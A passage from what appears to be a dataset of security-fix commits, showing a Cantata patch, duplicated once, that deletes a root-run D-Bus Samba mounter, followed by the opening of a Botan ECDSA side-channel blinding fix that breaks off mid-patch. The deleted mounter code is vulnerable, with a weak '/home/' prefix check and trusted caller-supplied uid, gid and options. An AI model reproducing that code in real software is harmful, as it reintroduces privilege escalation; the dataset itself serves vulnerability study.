Samba shre mounting code, this had some privilege escalation issues, and is not well tested", "patch": "@@ -1,249 +0,0 @@\n-/*\n- * Cantata\n- *\n- * Copyright (c) 2011-2018 Craig Drummond \n- *\n- * ----\n- *\n- * This program is free software; you can redistribute it and/or modify\n- * it under the terms of the GNU General Public License as published by\n- * the Free Software Foundation; either version 2 of the License, or\n- * (at your option) any later version.\n- *\n- * This program is distributed in the hope that it will be useful,\n- * but WITHOUT ANY WARRANTY; without even the implied warranty of\n- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n- * General Public License for more details.\n- *\n- * You should have received a copy of the GNU General Public License\n- * along with this program; see the file COPYING. If not, write to\n- * the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n- * Boston, MA 02110-1301, USA.\n- */\n-\n-#include \"mounter.h\"\n-#include \"mounteradaptor.h\"\n-#include \"config.h\"\n-#include \n-#include \n-#include \n-#if QT_VERSION >= 0x050000\n-#include \n-#endif\n-#include \n-#include \n-#include \n-#include \n-#include \n-#include \n-#include \n-\n-Mounter::Mounter(QObject *p)\n- : QObject(p)\n- , timer(0)\n- , procCount(0)\n-{\n- new MounterAdaptor(this);\n- QDBusConnection bus=QDBusConnection::systemBus();\n- if (!bus.registerService(\"mpd.cantata.mounter\") || !bus.registerObject(\"/Mounter\", this)) {\n- QTimer::singleShot(0, qApp, SLOT(quit()));\n- }\n-}\n-\n-static inline bool mpOk(const QString &mp)\n-{\n- return !mp.isEmpty() && mp.startsWith(\"/home/\"); // ) && mp.contains(\"cantata\");\n-}\n-\n-static QString fixPath(const QString &dir)\n-{\n- QString d(dir);\n-\n- if (!d.isEmpty() && !d.startsWith(QLatin1String(\"http://\"))) {\n- d.replace(QLatin1String(\"//\"), QChar('/'));\n- }\n- d.replace(QLatin1String(\"/./\"), QChar('/'));\n- if (!d.isEmpty() && !d.endsWith('/')) {\n- d+='/';\n- }\n- return d;\n-}\n-\n-// Control via:\n-// qdbus --system mpd.cantata.mounter /Mounter mpd.cantata.mounter.mount smb://workgroup\\user:password@host:port/path?domain=domain mountPoint uid gid\n-void Mounter::mount(const QString &url, const QString &mountPoint, int uid, int gid, int pid)\n-{\n- if (calledFromDBus()) {\n- registerPid(pid);\n- }\n-\n- qWarning() << url << mountPoint << uid << gid;\n- QUrl u(url);\n- int st=-1;\n-\n- if (u.scheme()==\"smb\" && mpOk(mountPoint)) {\n- QString user=u.userName();\n- QString domain;\n- QString password=u.password();\n- int port=u.port();\n-\n- #if QT_VERSION < 0x050000\n- if (u.hasQueryItem(\"domain\")) {\n- domain=u.queryItemValue(\"domain\");\n- }\n- #else\n- QUrlQuery q(u);\n- if (q.hasQueryItem(\"domain\")) {\n- domain=q.queryItemValue(\"domain\");\n- }\n- #endif\n-\n- QTemporaryFile *temp=0;\n-\n- if (!password.isEmpty()) {\n- temp=new QTemporaryFile();\n- if (temp && temp->open()) {\n- QTextStream str(temp);\n- if (!user.isEmpty()) {\n- str << \"username=\" << user << endl;\n- }\n- str << \"password=\" << password << endl;\n- if (!domain.isEmpty()) {\n- str << \"domain=\" << domain << endl;\n- }\n- }\n- }\n-\n- QString path=fixPath(u.host()+\"/\"+u.path());\n- while (!path.startsWith(\"//\")) {\n- path=\"/\"+path;\n- }\n-\n-// qWarning() << \"EXEC\" << \"mount.cifs\" << path << mountPoint\n-// << \"-o\" <<\n-// (temp ? (\"credentials=\"+temp->fileName()+\",\") : QString())+\n-// \"uid=\"+QString::number(uid)+\",gid=\"+QString::number(gid)+\n-// (445==port || port<1 ? QString() : \",port=\"+QString::number(port))+\n-// (temp || user.isEmpty() ? QString() : (\",username=\"+user))+\n-// (temp || domain.isEmpty() ? QString() : (\",domain=\"+domain))+\n-// (temp ? QString() : \",password=\");\n- QProcess *proc=new QProcess(this);\n- connect(proc, SIGNAL(finished(int)), SLOT(mountResult(int)));\n- proc->setProperty(\"mp\", mountPoint);\n- proc->setProperty(\"pid\", pid);\n- proc->start(QLatin1String(INSTALL_PREFIX\"/share/cantata/scripts/mount.cifs.wrapper\"),\n- QStringList() << path << mountPoint\n- << \"-o\" <<\n- (temp ? (\"credentials=\"+temp->fileName()+\",\") : QString())+\n- \"uid=\"+QString::number(uid)+\",gid=\"+QString::number(gid)+\n- (445==port || port<1 ? QString() : \",port=\"+QString::number(port))+\n- (temp || user.isEmpty() ? QString() : (\",username=\"+user))+\n- (temp || domain.isEmpty() ? QString() : (\",domain=\"+domain))+\n- (temp ? QString() : \",password=\"), QIODevice::WriteOnly);\n- if (temp) {\n- tempFiles.insert(proc, temp);\n- }\n- procCount++;\n- return;\n- }\n- emit mountStatus(mountPoint, pid, st);\n-}\n-\n-// Control via:\n-// qdbus --system mpd.cantata.mounter /Mounter mpd.cantata.mounter.umount mountPoint\n-void Mounter::umount(const QString &mountPoint, int pid)\n-{\n- if (calledFromDBus()) {\n- registerPid(pid);\n- }\n-\n- if (mpOk(mountPoint)) {\n- QProcess *proc=new QProcess(this);\n- connect(proc, SIGNAL(finished(int)), SLOT(umountResult(int)));\n- proc->start(\"umount\", QStringList() << mountPoint);\n- proc->setProperty(\"mp\", mountPoint);\n- proc->setProperty(\"pid\", pid);\n- procCount++;\n- } else {\n- emit umountStatus(mountPoint, pid, -1);\n- }\n-}\n-\n-void Mounter::mountResult(int st)\n-{\n- QProcess *proc=dynamic_cast(sender());\n- qWarning() << \"MOUNT RESULT\" << st << (void *)proc;\n- if (proc) {\n- procCount--;\n- proc->close();\n- proc->deleteLater();\n- if (tempFiles.contains(proc)) {\n- tempFiles[proc]->close();\n- tempFiles[proc]->deleteLater();\n- tempFiles.remove(proc);\n- }\n- emit mountStatus(proc->property(\"mp\").toString(), proc->property(\"pid\").toInt(), st);\n- }\n- startTimer();\n-}\n-\n-\n-void Mounter::umountResult(int st)\n-{\n- QProcess *proc=dynamic_cast(sender());\n- if (proc) {\n- procCount--;\n- proc->close();\n- proc->deleteLater();\n- emit umountStatus(proc->property(\"mp\").toString(), proc->property(\"pid\").toInt(), st);\n- }\n- startTimer();\n-}\n-\n-void Mounter::startTimer()\n-{\n- if (!timer) {\n- timer=new QTimer(this);\n- connect(timer, SIGNAL(timeout()), SLOT(timeout()));\n- }\n- timer->start(30000);\n-}\n-\n-void Mounter::registerPid(int pid)\n-{\n- pids.insert(pid);\n- startTimer();\n-}\n-\n-void Mounter::timeout()\n-{\n- if (procCount!=0) {\n- startTimer();\n- return;\n- }\n-\n- QSet running;\n-\n- for (int p: pids) {\n- if (0==kill(p, 0)) {\n- running.insert(p);\n- }\n- }\n-\n- pids=running;\n-\n- if (pids.isEmpty()) {\n- qApp->exit();\n- QMap::ConstIterator it(tempFiles.constBegin());\n- QMap::ConstIterator end(tempFiles.constEnd());\n- for (; it!=end; ++it) {\n- it.value()->close();\n- delete it.value();\n- }\n- tempFiles.clear();\n- } else {\n- startTimer();\n- }\n-}\n-\n-#include \"moc_mounter.cpp\"", "sections": [{"section": "@@ -1,249 +0,0 @@\n-/*\n- * Cantata\n- *\n- * Copyright (c) 2011-2018 Craig Drummond \n- *\n- * ----\n- *\n- * This program is free software; you can redistribute it and/or modify\n- * it under the terms of the GNU General Public License as published by\n- * the Free Software Foundation; either version 2 of the License, or\n- * (at your option) any later version.\n- *\n- * This program is distributed in the hope that it will be useful,\n- * but WITHOUT ANY WARRANTY; without even the implied warranty of\n- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n- * General Public License for more details.\n- *\n- * You should have received a copy of the GNU General Public License\n- * along with this program; see the file COPYING. If not, write to\n- * the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n- * Boston, MA 02110-1301, USA.\n- */\n-\n-#include \"mounter.h\"\n-#include \"mounteradaptor.h\"\n-#include \"config.h\"\n-#include \n-#include \n-#include \n-#if QT_VERSION >= 0x050000\n-#include \n-#endif\n-#include \n-#include \n-#include \n-#include \n-#include \n-#include \n-#include \n-\n-Mounter::Mounter(QObject *p)\n- : QObject(p)\n- , timer(0)\n- , procCount(0)\n-{\n- new MounterAdaptor(this);\n- QDBusConnection bus=QDBusConnection::systemBus();\n- if (!bus.registerService(\"mpd.cantata.mounter\") || !bus.registerObject(\"/Mounter\", this)) {\n- QTimer::singleShot(0, qApp, SLOT(quit()));\n- }\n-}\n-\n-static inline bool mpOk(const QString &mp)\n-{\n- return !mp.isEmpty() && mp.startsWith(\"/home/\"); // ) && mp.contains(\"cantata\");\n-}\n-\n-static QString fixPath(const QString &dir)\n-{\n- QString d(dir);\n-\n- if (!d.isEmpty() && !d.startsWith(QLatin1String(\"http://\"))) {\n- d.replace(QLatin1String(\"//\"), QChar('/'));\n- }\n- d.replace(QLatin1String(\"/./\"), QChar('/'));\n- if (!d.isEmpty() && !d.endsWith('/')) {\n- d+='/';\n- }\n- return d;\n-}\n-\n-// Control via:\n-// qdbus --system mpd.cantata.mounter /Mounter mpd.cantata.mounter.mount smb://workgroup\\user:password@host:port/path?domain=domain mountPoint uid gid\n-void Mounter::mount(const QString &url, const QString &mountPoint, int uid, int gid, int pid)\n-{\n- if (calledFromDBus()) {\n- registerPid(pid);\n- }\n-\n- qWarning() << url << mountPoint << uid << gid;\n- QUrl u(url);\n- int st=-1;\n-\n- if (u.scheme()==\"smb\" && mpOk(mountPoint)) {\n- QString user=u.userName();\n- QString domain;\n- QString password=u.password();\n- int port=u.port();\n-\n- #if QT_VERSION < 0x050000\n- if (u.hasQueryItem(\"domain\")) {\n- domain=u.queryItemValue(\"domain\");\n- }\n- #else\n- QUrlQuery q(u);\n- if (q.hasQueryItem(\"domain\")) {\n- domain=q.queryItemValue(\"domain\");\n- }\n- #endif\n-\n- QTemporaryFile *temp=0;\n-\n- if (!password.isEmpty()) {\n- temp=new QTemporaryFile();\n- if (temp && temp->open()) {\n- QTextStream str(temp);\n- if (!user.isEmpty()) {\n- str << \"username=\" << user << endl;\n- }\n- str << \"password=\" << password << endl;\n- if (!domain.isEmpty()) {\n- str << \"domain=\" << domain << endl;\n- }\n- }\n- }\n-\n- QString path=fixPath(u.host()+\"/\"+u.path());\n- while (!path.startsWith(\"//\")) {\n- path=\"/\"+path;\n- }\n-\n-// qWarning() << \"EXEC\" << \"mount.cifs\" << path << mountPoint\n-// << \"-o\" <<\n-// (temp ? (\"credentials=\"+temp->fileName()+\",\") : QString())+\n-// \"uid=\"+QString::number(uid)+\",gid=\"+QString::number(gid)+\n-// (445==port || port<1 ? QString() : \",port=\"+QString::number(port))+\n-// (temp || user.isEmpty() ? QString() : (\",username=\"+user))+\n-// (temp || domain.isEmpty() ? QString() : (\",domain=\"+domain))+\n-// (temp ? QString() : \",password=\");\n- QProcess *proc=new QProcess(this);\n- connect(proc, SIGNAL(finished(int)), SLOT(mountResult(int)));\n- proc->setProperty(\"mp\", mountPoint);\n- proc->setProperty(\"pid\", pid);\n- proc->start(QLatin1String(INSTALL_PREFIX\"/share/cantata/scripts/mount.cifs.wrapper\"),\n- QStringList() << path << mountPoint\n- << \"-o\" <<\n- (temp ? (\"credentials=\"+temp->fileName()+\",\") : QString())+\n- \"uid=\"+QString::number(uid)+\",gid=\"+QString::number(gid)+\n- (445==port || port<1 ? QString() : \",port=\"+QString::number(port))+\n- (temp || user.isEmpty() ? QString() : (\",username=\"+user))+\n- (temp || domain.isEmpty() ? QString() : (\",domain=\"+domain))+\n- (temp ? QString() : \",password=\"), QIODevice::WriteOnly);\n- if (temp) {\n- tempFiles.insert(proc, temp);\n- }\n- procCount++;\n- return;\n- }\n- emit mountStatus(mountPoint, pid, st);\n-}\n-\n-// Control via:\n-// qdbus --system mpd.cantata.mounter /Mounter mpd.cantata.mounter.umount mountPoint\n-void Mounter::umount(const QString &mountPoint, int pid)\n-{\n- if (calledFromDBus()) {\n- registerPid(pid);\n- }\n-\n- if (mpOk(mountPoint)) {\n- QProcess *proc=new QProcess(this);\n- connect(proc, SIGNAL(finished(int)), SLOT(umountResult(int)));\n- proc->start(\"umount\", QStringList() << mountPoint);\n- proc->setProperty(\"mp\", mountPoint);\n- proc->setProperty(\"pid\", pid);\n- procCount++;\n- } else {\n- emit umountStatus(mountPoint, pid, -1);\n- }\n-}\n-\n-void Mounter::mountResult(int st)\n-{\n- QProcess *proc=dynamic_cast(sender());\n- qWarning() << \"MOUNT RESULT\" << st << (void *)proc;\n- if (proc) {\n- procCount--;\n- proc->close();\n- proc->deleteLater();\n- if (tempFiles.contains(proc)) {\n- tempFiles[proc]->close();\n- tempFiles[proc]->deleteLater();\n- tempFiles.remove(proc);\n- }\n- emit mountStatus(proc->property(\"mp\").toString(), proc->property(\"pid\").toInt(), st);\n- }\n- startTimer();\n-}\n-\n-\n-void Mounter::umountResult(int st)\n-{\n- QProcess *proc=dynamic_cast(sender());\n- if (proc) {\n- procCount--;\n- proc->close();\n- proc->deleteLater();\n- emit umountStatus(proc->property(\"mp\").toString(), proc->property(\"pid\").toInt(), st);\n- }\n- startTimer();\n-}\n-\n-void Mounter::startTimer()\n-{\n- if (!timer) {\n- timer=new QTimer(this);\n- connect(timer, SIGNAL(timeout()), SLOT(timeout()));\n- }\n- timer->start(30000);\n-}\n-\n-void Mounter::registerPid(int pid)\n-{\n- pids.insert(pid);\n- startTimer();\n-}\n-\n-void Mounter::timeout()\n-{\n- if (procCount!=0) {\n- startTimer();\n- return;\n- }\n-\n- QSet running;\n-\n- for (int p: pids) {\n- if (0==kill(p, 0)) {\n- running.insert(p);\n- }\n- }\n-\n- pids=running;\n-\n- if (pids.isEmpty()) {\n- qApp->exit();\n- QMap::ConstIterator it(tempFiles.constBegin());\n- QMap::ConstIterator end(tempFiles.constEnd());\n- for (; it!=end; ++it) {\n- it.value()->close();\n- delete it.value();\n- }\n- tempFiles.clear();\n- } else {\n- startTimer();\n- }\n-}\n-\n-#include \"moc_mounter.cpp\"", "related": false}]} +{"owner": "cdrummond", "repo": "cantata", "language": "C++", "file_name": "devices/mounter/mounter.cpp", "commit_id": "afc4f8315d3e96574925fb530a7004cc9e6ce3d3", "commit_message": "Remove internal Samba shre mounting code, this had some privilege escalation issues, and is not well tested", "patch": "@@ -1,249 +0,0 @@\n-/*\n- * Cantata\n- *\n- * Copyright (c) 2011-2018 Craig Drummond \n- *\n- * ----\n- *\n- * This program is free software; you can redistribute it and/or modify\n- * it under the terms of the GNU General Public License as published by\n- * the Free Software Foundation; either version 2 of the License, or\n- * (at your option) any later version.\n- *\n- * This program is distributed in the hope that it will be useful,\n- * but WITHOUT ANY WARRANTY; without even the implied warranty of\n- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n- * General Public License for more details.\n- *\n- * You should have received a copy of the GNU General Public License\n- * along with this program; see the file COPYING. If not, write to\n- * the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n- * Boston, MA 02110-1301, USA.\n- */\n-\n-#include \"mounter.h\"\n-#include \"mounteradaptor.h\"\n-#include \"config.h\"\n-#include \n-#include \n-#include \n-#if QT_VERSION >= 0x050000\n-#include \n-#endif\n-#include \n-#include \n-#include \n-#include \n-#include \n-#include \n-#include \n-\n-Mounter::Mounter(QObject *p)\n- : QObject(p)\n- , timer(0)\n- , procCount(0)\n-{\n- new MounterAdaptor(this);\n- QDBusConnection bus=QDBusConnection::systemBus();\n- if (!bus.registerService(\"mpd.cantata.mounter\") || !bus.registerObject(\"/Mounter\", this)) {\n- QTimer::singleShot(0, qApp, SLOT(quit()));\n- }\n-}\n-\n-static inline bool mpOk(const QString &mp)\n-{\n- return !mp.isEmpty() && mp.startsWith(\"/home/\"); // ) && mp.contains(\"cantata\");\n-}\n-\n-static QString fixPath(const QString &dir)\n-{\n- QString d(dir);\n-\n- if (!d.isEmpty() && !d.startsWith(QLatin1String(\"http://\"))) {\n- d.replace(QLatin1String(\"//\"), QChar('/'));\n- }\n- d.replace(QLatin1String(\"/./\"), QChar('/'));\n- if (!d.isEmpty() && !d.endsWith('/')) {\n- d+='/';\n- }\n- return d;\n-}\n-\n-// Control via:\n-// qdbus --system mpd.cantata.mounter /Mounter mpd.cantata.mounter.mount smb://workgroup\\user:password@host:port/path?domain=domain mountPoint uid gid\n-void Mounter::mount(const QString &url, const QString &mountPoint, int uid, int gid, int pid)\n-{\n- if (calledFromDBus()) {\n- registerPid(pid);\n- }\n-\n- qWarning() << url << mountPoint << uid << gid;\n- QUrl u(url);\n- int st=-1;\n-\n- if (u.scheme()==\"smb\" && mpOk(mountPoint)) {\n- QString user=u.userName();\n- QString domain;\n- QString password=u.password();\n- int port=u.port();\n-\n- #if QT_VERSION < 0x050000\n- if (u.hasQueryItem(\"domain\")) {\n- domain=u.queryItemValue(\"domain\");\n- }\n- #else\n- QUrlQuery q(u);\n- if (q.hasQueryItem(\"domain\")) {\n- domain=q.queryItemValue(\"domain\");\n- }\n- #endif\n-\n- QTemporaryFile *temp=0;\n-\n- if (!password.isEmpty()) {\n- temp=new QTemporaryFile();\n- if (temp && temp->open()) {\n- QTextStream str(temp);\n- if (!user.isEmpty()) {\n- str << \"username=\" << user << endl;\n- }\n- str << \"password=\" << password << endl;\n- if (!domain.isEmpty()) {\n- str << \"domain=\" << domain << endl;\n- }\n- }\n- }\n-\n- QString path=fixPath(u.host()+\"/\"+u.path());\n- while (!path.startsWith(\"//\")) {\n- path=\"/\"+path;\n- }\n-\n-// qWarning() << \"EXEC\" << \"mount.cifs\" << path << mountPoint\n-// << \"-o\" <<\n-// (temp ? (\"credentials=\"+temp->fileName()+\",\") : QString())+\n-// \"uid=\"+QString::number(uid)+\",gid=\"+QString::number(gid)+\n-// (445==port || port<1 ? QString() : \",port=\"+QString::number(port))+\n-// (temp || user.isEmpty() ? QString() : (\",username=\"+user))+\n-// (temp || domain.isEmpty() ? QString() : (\",domain=\"+domain))+\n-// (temp ? QString() : \",password=\");\n- QProcess *proc=new QProcess(this);\n- connect(proc, SIGNAL(finished(int)), SLOT(mountResult(int)));\n- proc->setProperty(\"mp\", mountPoint);\n- proc->setProperty(\"pid\", pid);\n- proc->start(QLatin1String(INSTALL_PREFIX\"/share/cantata/scripts/mount.cifs.wrapper\"),\n- QStringList() << path << mountPoint\n- << \"-o\" <<\n- (temp ? (\"credentials=\"+temp->fileName()+\",\") : QString())+\n- \"uid=\"+QString::number(uid)+\",gid=\"+QString::number(gid)+\n- (445==port || port<1 ? QString() : \",port=\"+QString::number(port))+\n- (temp || user.isEmpty() ? QString() : (\",username=\"+user))+\n- (temp || domain.isEmpty() ? QString() : (\",domain=\"+domain))+\n- (temp ? QString() : \",password=\"), QIODevice::WriteOnly);\n- if (temp) {\n- tempFiles.insert(proc, temp);\n- }\n- procCount++;\n- return;\n- }\n- emit mountStatus(mountPoint, pid, st);\n-}\n-\n-// Control via:\n-// qdbus --system mpd.cantata.mounter /Mounter mpd.cantata.mounter.umount mountPoint\n-void Mounter::umount(const QString &mountPoint, int pid)\n-{\n- if (calledFromDBus()) {\n- registerPid(pid);\n- }\n-\n- if (mpOk(mountPoint)) {\n- QProcess *proc=new QProcess(this);\n- connect(proc, SIGNAL(finished(int)), SLOT(umountResult(int)));\n- proc->start(\"umount\", QStringList() << mountPoint);\n- proc->setProperty(\"mp\", mountPoint);\n- proc->setProperty(\"pid\", pid);\n- procCount++;\n- } else {\n- emit umountStatus(mountPoint, pid, -1);\n- }\n-}\n-\n-void Mounter::mountResult(int st)\n-{\n- QProcess *proc=dynamic_cast(sender());\n- qWarning() << \"MOUNT RESULT\" << st << (void *)proc;\n- if (proc) {\n- procCount--;\n- proc->close();\n- proc->deleteLater();\n- if (tempFiles.contains(proc)) {\n- tempFiles[proc]->close();\n- tempFiles[proc]->deleteLater();\n- tempFiles.remove(proc);\n- }\n- emit mountStatus(proc->property(\"mp\").toString(), proc->property(\"pid\").toInt(), st);\n- }\n- startTimer();\n-}\n-\n-\n-void Mounter::umountResult(int st)\n-{\n- QProcess *proc=dynamic_cast(sender());\n- if (proc) {\n- procCount--;\n- proc->close();\n- proc->deleteLater();\n- emit umountStatus(proc->property(\"mp\").toString(), proc->property(\"pid\").toInt(), st);\n- }\n- startTimer();\n-}\n-\n-void Mounter::startTimer()\n-{\n- if (!timer) {\n- timer=new QTimer(this);\n- connect(timer, SIGNAL(timeout()), SLOT(timeout()));\n- }\n- timer->start(30000);\n-}\n-\n-void Mounter::registerPid(int pid)\n-{\n- pids.insert(pid);\n- startTimer();\n-}\n-\n-void Mounter::timeout()\n-{\n- if (procCount!=0) {\n- startTimer();\n- return;\n- }\n-\n- QSet running;\n-\n- for (int p: pids) {\n- if (0==kill(p, 0)) {\n- running.insert(p);\n- }\n- }\n-\n- pids=running;\n-\n- if (pids.isEmpty()) {\n- qApp->exit();\n- QMap::ConstIterator it(tempFiles.constBegin());\n- QMap::ConstIterator end(tempFiles.constEnd());\n- for (; it!=end; ++it) {\n- it.value()->close();\n- delete it.value();\n- }\n- tempFiles.clear();\n- } else {\n- startTimer();\n- }\n-}\n-\n-#include \"moc_mounter.cpp\"", "sections": [{"section": "@@ -1,249 +0,0 @@\n-/*\n- * Cantata\n- *\n- * Copyright (c) 2011-2018 Craig Drummond \n- *\n- * ----\n- *\n- * This program is free software; you can redistribute it and/or modify\n- * it under the terms of the GNU General Public License as published by\n- * the Free Software Foundation; either version 2 of the License, or\n- * (at your option) any later version.\n- *\n- * This program is distributed in the hope that it will be useful,\n- * but WITHOUT ANY WARRANTY; without even the implied warranty of\n- * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n- * General Public License for more details.\n- *\n- * You should have received a copy of the GNU General Public License\n- * along with this program; see the file COPYING. If not, write to\n- * the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n- * Boston, MA 02110-1301, USA.\n- */\n-\n-#include \"mounter.h\"\n-#include \"mounteradaptor.h\"\n-#include \"config.h\"\n-#include \n-#include \n-#include \n-#if QT_VERSION >= 0x050000\n-#include \n-#endif\n-#include \n-#include \n-#include \n-#include \n-#include \n-#include \n-#include \n-\n-Mounter::Mounter(QObject *p)\n- : QObject(p)\n- , timer(0)\n- , procCount(0)\n-{\n- new MounterAdaptor(this);\n- QDBusConnection bus=QDBusConnection::systemBus();\n- if (!bus.registerService(\"mpd.cantata.mounter\") || !bus.registerObject(\"/Mounter\", this)) {\n- QTimer::singleShot(0, qApp, SLOT(quit()));\n- }\n-}\n-\n-static inline bool mpOk(const QString &mp)\n-{\n- return !mp.isEmpty() && mp.startsWith(\"/home/\"); // ) && mp.contains(\"cantata\");\n-}\n-\n-static QString fixPath(const QString &dir)\n-{\n- QString d(dir);\n-\n- if (!d.isEmpty() && !d.startsWith(QLatin1String(\"http://\"))) {\n- d.replace(QLatin1String(\"//\"), QChar('/'));\n- }\n- d.replace(QLatin1String(\"/./\"), QChar('/'));\n- if (!d.isEmpty() && !d.endsWith('/')) {\n- d+='/';\n- }\n- return d;\n-}\n-\n-// Control via:\n-// qdbus --system mpd.cantata.mounter /Mounter mpd.cantata.mounter.mount smb://workgroup\\user:password@host:port/path?domain=domain mountPoint uid gid\n-void Mounter::mount(const QString &url, const QString &mountPoint, int uid, int gid, int pid)\n-{\n- if (calledFromDBus()) {\n- registerPid(pid);\n- }\n-\n- qWarning() << url << mountPoint << uid << gid;\n- QUrl u(url);\n- int st=-1;\n-\n- if (u.scheme()==\"smb\" && mpOk(mountPoint)) {\n- QString user=u.userName();\n- QString domain;\n- QString password=u.password();\n- int port=u.port();\n-\n- #if QT_VERSION < 0x050000\n- if (u.hasQueryItem(\"domain\")) {\n- domain=u.queryItemValue(\"domain\");\n- }\n- #else\n- QUrlQuery q(u);\n- if (q.hasQueryItem(\"domain\")) {\n- domain=q.queryItemValue(\"domain\");\n- }\n- #endif\n-\n- QTemporaryFile *temp=0;\n-\n- if (!password.isEmpty()) {\n- temp=new QTemporaryFile();\n- if (temp && temp->open()) {\n- QTextStream str(temp);\n- if (!user.isEmpty()) {\n- str << \"username=\" << user << endl;\n- }\n- str << \"password=\" << password << endl;\n- if (!domain.isEmpty()) {\n- str << \"domain=\" << domain << endl;\n- }\n- }\n- }\n-\n- QString path=fixPath(u.host()+\"/\"+u.path());\n- while (!path.startsWith(\"//\")) {\n- path=\"/\"+path;\n- }\n-\n-// qWarning() << \"EXEC\" << \"mount.cifs\" << path << mountPoint\n-// << \"-o\" <<\n-// (temp ? (\"credentials=\"+temp->fileName()+\",\") : QString())+\n-// \"uid=\"+QString::number(uid)+\",gid=\"+QString::number(gid)+\n-// (445==port || port<1 ? QString() : \",port=\"+QString::number(port))+\n-// (temp || user.isEmpty() ? QString() : (\",username=\"+user))+\n-// (temp || domain.isEmpty() ? QString() : (\",domain=\"+domain))+\n-// (temp ? QString() : \",password=\");\n- QProcess *proc=new QProcess(this);\n- connect(proc, SIGNAL(finished(int)), SLOT(mountResult(int)));\n- proc->setProperty(\"mp\", mountPoint);\n- proc->setProperty(\"pid\", pid);\n- proc->start(QLatin1String(INSTALL_PREFIX\"/share/cantata/scripts/mount.cifs.wrapper\"),\n- QStringList() << path << mountPoint\n- << \"-o\" <<\n- (temp ? (\"credentials=\"+temp->fileName()+\",\") : QString())+\n- \"uid=\"+QString::number(uid)+\",gid=\"+QString::number(gid)+\n- (445==port || port<1 ? QString() : \",port=\"+QString::number(port))+\n- (temp || user.isEmpty() ? QString() : (\",username=\"+user))+\n- (temp || domain.isEmpty() ? QString() : (\",domain=\"+domain))+\n- (temp ? QString() : \",password=\"), QIODevice::WriteOnly);\n- if (temp) {\n- tempFiles.insert(proc, temp);\n- }\n- procCount++;\n- return;\n- }\n- emit mountStatus(mountPoint, pid, st);\n-}\n-\n-// Control via:\n-// qdbus --system mpd.cantata.mounter /Mounter mpd.cantata.mounter.umount mountPoint\n-void Mounter::umount(const QString &mountPoint, int pid)\n-{\n- if (calledFromDBus()) {\n- registerPid(pid);\n- }\n-\n- if (mpOk(mountPoint)) {\n- QProcess *proc=new QProcess(this);\n- connect(proc, SIGNAL(finished(int)), SLOT(umountResult(int)));\n- proc->start(\"umount\", QStringList() << mountPoint);\n- proc->setProperty(\"mp\", mountPoint);\n- proc->setProperty(\"pid\", pid);\n- procCount++;\n- } else {\n- emit umountStatus(mountPoint, pid, -1);\n- }\n-}\n-\n-void Mounter::mountResult(int st)\n-{\n- QProcess *proc=dynamic_cast(sender());\n- qWarning() << \"MOUNT RESULT\" << st << (void *)proc;\n- if (proc) {\n- procCount--;\n- proc->close();\n- proc->deleteLater();\n- if (tempFiles.contains(proc)) {\n- tempFiles[proc]->close();\n- tempFiles[proc]->deleteLater();\n- tempFiles.remove(proc);\n- }\n- emit mountStatus(proc->property(\"mp\").toString(), proc->property(\"pid\").toInt(), st);\n- }\n- startTimer();\n-}\n-\n-\n-void Mounter::umountResult(int st)\n-{\n- QProcess *proc=dynamic_cast(sender());\n- if (proc) {\n- procCount--;\n- proc->close();\n- proc->deleteLater();\n- emit umountStatus(proc->property(\"mp\").toString(), proc->property(\"pid\").toInt(), st);\n- }\n- startTimer();\n-}\n-\n-void Mounter::startTimer()\n-{\n- if (!timer) {\n- timer=new QTimer(this);\n- connect(timer, SIGNAL(timeout()), SLOT(timeout()));\n- }\n- timer->start(30000);\n-}\n-\n-void Mounter::registerPid(int pid)\n-{\n- pids.insert(pid);\n- startTimer();\n-}\n-\n-void Mounter::timeout()\n-{\n- if (procCount!=0) {\n- startTimer();\n- return;\n- }\n-\n- QSet running;\n-\n- for (int p: pids) {\n- if (0==kill(p, 0)) {\n- running.insert(p);\n- }\n- }\n-\n- pids=running;\n-\n- if (pids.isEmpty()) {\n- qApp->exit();\n- QMap::ConstIterator it(tempFiles.constBegin());\n- QMap::ConstIterator end(tempFiles.constEnd());\n- for (; it!=end; ++it) {\n- it.value()->close();\n- delete it.value();\n- }\n- tempFiles.clear();\n- } else {\n- startTimer();\n- }\n-}\n-\n-#include \"moc_mounter.cpp\"", "related": false}]} +{"owner": "randombit", "repo": "botan", "language": "C++", "file_name": "src/lib/pubkey/ecdsa/ecdsa.cpp", "commit_id": "48fc8df51d99f9d8ba251219367b3d629cc848e3", "commit_message": "Address DSA/ECDSA side channel", "patch": "@@ -51,14 +51,18 @@ class ECDSA_Signature_Operation final : public PK_Ops::Signature_with_EMSA\n public:\n \n ECDSA_Signature_Operation(const ECDSA_PrivateKey& ecdsa,\n- const std::string& emsa) :\n+ const std::string& emsa,\n+ RandomNumberGenerator& rng) :\n PK_Ops::Signature_with_EMSA(emsa),\n m_group(ecdsa.domain()),\n m_x(ecdsa.private_value())\n {\n #if defined(BOTAN_HAS_RFC6979_GENERATOR)\n m_rfc6979_hash = hash_for_emsa(emsa);\n #endif\n+\n+ m_b = m_group.random_scalar(rng);\n+ m_b_inv = m_group.inverse_mod_order(m_b);\n }\n \n size_t max_input_bits() const override { return m_group.get_order_bits(); }\n@@ -75,6 +79,8 @@ class ECDSA_Signature_Operation final : public PK_Ops::Signature_with_EMSA\n #endif\n \n std::vector m_ws;\n+\n+ BigInt m_b, m_b_inv;\n };\n \n secure_vector\n@@ -89,12 +95,21 @@ ECDSA_Signature_Operation::raw_sign(const uint8_t msg[], size_t msg_len,\n const BigInt k = m_group.random_scalar(rng);\n #endif\n \n- const BigInt k_inv = m_group.inverse_mod_order(k);\n const BigInt r = m_group.mod_order(\n m_group.blinded_base_point_multiply_x(k, rng, m_ws));\n \n- const BigInt xrm = m_group.mod_order(m_group.multiply_mod_order(m_x, r) + m);\n- const BigInt s = m_group.multiply_mod_order(k_inv, xrm);\n+ const BigInt k_inv = m_group.inverse_mod_order(k);\n+\n+ /*\n+ * Blind the input message and compute x*r+m as (x*r*b + m*b)/b\n+ */\n+ m_b = m_group.square_mod_order(m_b);\n+ m_b_inv = m_group.square_mod_order(m_b_inv);\n+\n+ m = 